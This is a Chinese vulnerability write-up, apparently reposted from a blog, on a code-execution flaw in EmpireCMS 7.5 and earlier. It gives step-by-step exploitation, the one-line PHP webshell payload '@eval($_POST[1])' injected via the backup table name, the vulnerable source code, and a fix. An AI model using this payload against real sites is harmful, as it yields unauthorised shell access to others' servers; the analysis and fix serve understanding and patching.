CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell

[漏洞描述]

EmpireCMS是一套免费的CMS(内容管理系统)。

EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。

[影响版本]

<=7.5

[漏洞危害]

[漏洞位置]

/e/admin/admin/ebak/phome.php
[系统]-[系统设置]-[备份与恢复数据]-[备份数据]

[漏洞利用]

[系统]-[系统设置]-[备份与恢复数据]-[备份数据],选择任意数据表。

使用Burpsuit截取数据包。

将表名修改为一句话***。

#字段
tablename[]=xxxxxxxx
# 修改为:
tablename[][email protected]($_POST[1])

[系统]-[系统设置]-[备份与恢复数据]-[管理备份目录]处,点击查看备份说明

点击[查看备份说明],将URL结尾处的readme.txt修改为config.php

使用菜刀连接。

[漏洞分析]

系统在/upload/e/admin/ebak/phome.php文件中接受备份数据库传递的参数。

elseif($phome=="DoEbak")
{
    Ebak_DoEbak($_POST,$logininid,$loginin);
}

接受参数后,传递到\upload\e\admin\ebak\class\functions.php文件中的Ebak_DOEbak函数中。Ebak_DOEbak函数接受参数后,将数据库表名传递给变量$tablename

    $tablename=$add[‘tablename‘];
    $count=count($tablename);
    if(empty($count)){
        printerror("MustChangeOneTable","history.go(-1)");
    }
    $add[‘baktype‘]=(int)$add[‘baktype‘];
    $add[‘filesize‘]=(int)$add[‘filesize‘];
    $add[‘bakline‘]=(int)$add[‘bakline‘];
    $add[‘autoauf‘]=(int)$add[‘autoauf‘];
    if((!$add[‘filesize‘]&&!$add[‘baktype‘])||(!$add[‘bakline‘]&&$add[‘baktype‘])){
        printerror("FileSizeEmpty","history.go(-1)");
    }

系统对表名遍历将其赋值给$b_table$d_table。在$d_table处将表名拼接为字符串。对拼接而成$tb数组未对其中的键值名添加双引号。

$b_table="";
    $d_table="";
    for($i=0;$i<$count;$i++){
        $tablename[$i]=RepPostVar($tablename[$i]);
        $b_table.=$tablename[$i].",";
        $d_table.="\$tb[".$tablename[$i]."]=0;\r\n";
    }

在生成config.php文件的过程中,对于$d_table没有进行处理,直接拼接到生成文件的字符串中,导致任意代码执行漏洞。

$string="<?php
    \$b_table=\"".$b_table."\";
    ".$d_table."
    \$b_baktype=".$add[‘baktype‘].";
    \$b_filesize=".$add[‘filesize‘].";
    \$b_bakline=".$add[‘bakline‘].";
    \$b_autoauf=".$add[‘autoauf‘].";
    \$b_dbname=\"".$dbname."\";
    \$b_stru=".$bakstru.";
    \$b_strufour=".$bakstrufour.";
    \$b_dbchar=\"".addslashes($add[‘dbchar‘])."\";
    \$b_beover=".$beover.";
    \$b_insertf=\"".addslashes($insertf)."\";
    \$b_autofield=\",".addslashes($add[‘autofield‘]).",\";
    \$b_bakdatatype=".$bakdatatype.";
    ?>";
    $cfile=$bakpath."/".$add[‘mypath‘]."/config.php";
    WriteFiletext_n($cfile,$string);

插入恶意代码后生成的config.php文件。

<?php
    $b_table="@eval($_POST[1])";
    $tb[@eval($_POST[1])]=0;

    $b_baktype=0;
    $b_filesize=300;
    $b_bakline=500;
    $b_autoauf=1;
    $b_dbname="empirecms";
    $b_stru=1;
    $b_strufour=0;
    $b_dbchar="gbk";
    $b_beover=0;
    $b_insertf="replace";
    $b_autofield=",,";
    $b_bakdatatype=1;
    ?>

[漏洞修复]:

在生成config.php文件时对表名处增加双引号。

原文地址:http://blog.51cto.com/dearch/2309429

时间: 2024-07-31 00:48:38

CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell的相关文章

帝国CMS(EmpireCMS) v7.5后台任意代码执行

一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行. 二.影响版本 EmpireCMS<=7.5 三.环境搭建 1.官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/ 2.把下载的文件中的upload下的所有目录和文件放入到网站根目录下 3.修改php.ini配置文件, PHP环境中必须开启短标签,不然安装会提示无法安装 4.设置php.ini中 shor

20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞(附实战exp)

Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行. 值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响

Gxlcms时间盲注+后台任意文件删除读取下载+getshell

前台SQL时间盲注 在前台作品评分处 Lib\Home\Action/CommAction.class.php 第56行 $ting_id = $_GET["id"]; 第133行 $ting_gold = $mod->where("ting_id='$ting_id'")->getField("ting_gold"); 导致了可以时间盲注 因为回显不明确 后台GetShell 后台附件设置处 fuzz过程 输入php  被过滤成空

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理 这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理. ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码. 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码. 其实官方是清楚这个漏洞的,在文档里有说明: First, you should not run Elasticsearch as

9_任意代码执行(字符串转换成代码执行)

一.背景介绍 当应用在调用一些能将字符串转化为代码的函数(如php中的eval)时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞.狭义的代码注入通常指将可执行代码注入到当前页面中,如php的eval函数,可以将字符串代表的代码作为php代码执行,当用户能够控制这段字符串时,将产生代码注入代码注入漏洞(也称命令执行).广义上的代码注入,可以覆盖大半安全漏洞的分类. 二.漏洞成因 几种常用语言,都有将字符串转化成代码去执行的相关函数. PHP:eval assert Python:exec

服务程序后台运行代码

使程序脱离终端,完全放在后台运行代码: void daemon(void) {                                     int fr=0;                                                                                                             fr = fork();                                            

PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行. 这个漏洞影响php-5.3.12以前的版本,mod方式.fpm方式不受影响. 既然出现了,那就补吧,以下都是自己亲身经验,本着开源精神,做个分享,欢迎留言! 三种方案: 1.升级php版本:(php-5.3.12以

来篇文章:ASP。NET程序中动态修改web.config中的设置项目 (后台CS代码)

朋友们可以自行测试,我这里都没有问题了,鳖了一上午的问题总算解决了 using System; using System.Collections; using System.ComponentModel; using System.Data; using System.Drawing; using System.Web; using System.Web.SessionState; using System.Web.UI; using System.Web.UI.WebControls; usi

10_文件包含漏洞(属于任意代码执行)

一.背景介绍 随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式. 二.漏洞成因 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入.当被包含的文件在服务器本地时,就形成的本地文件包含漏洞.被包含的文件在第三方服务器时,就形成了远程文件包含漏洞. 本地到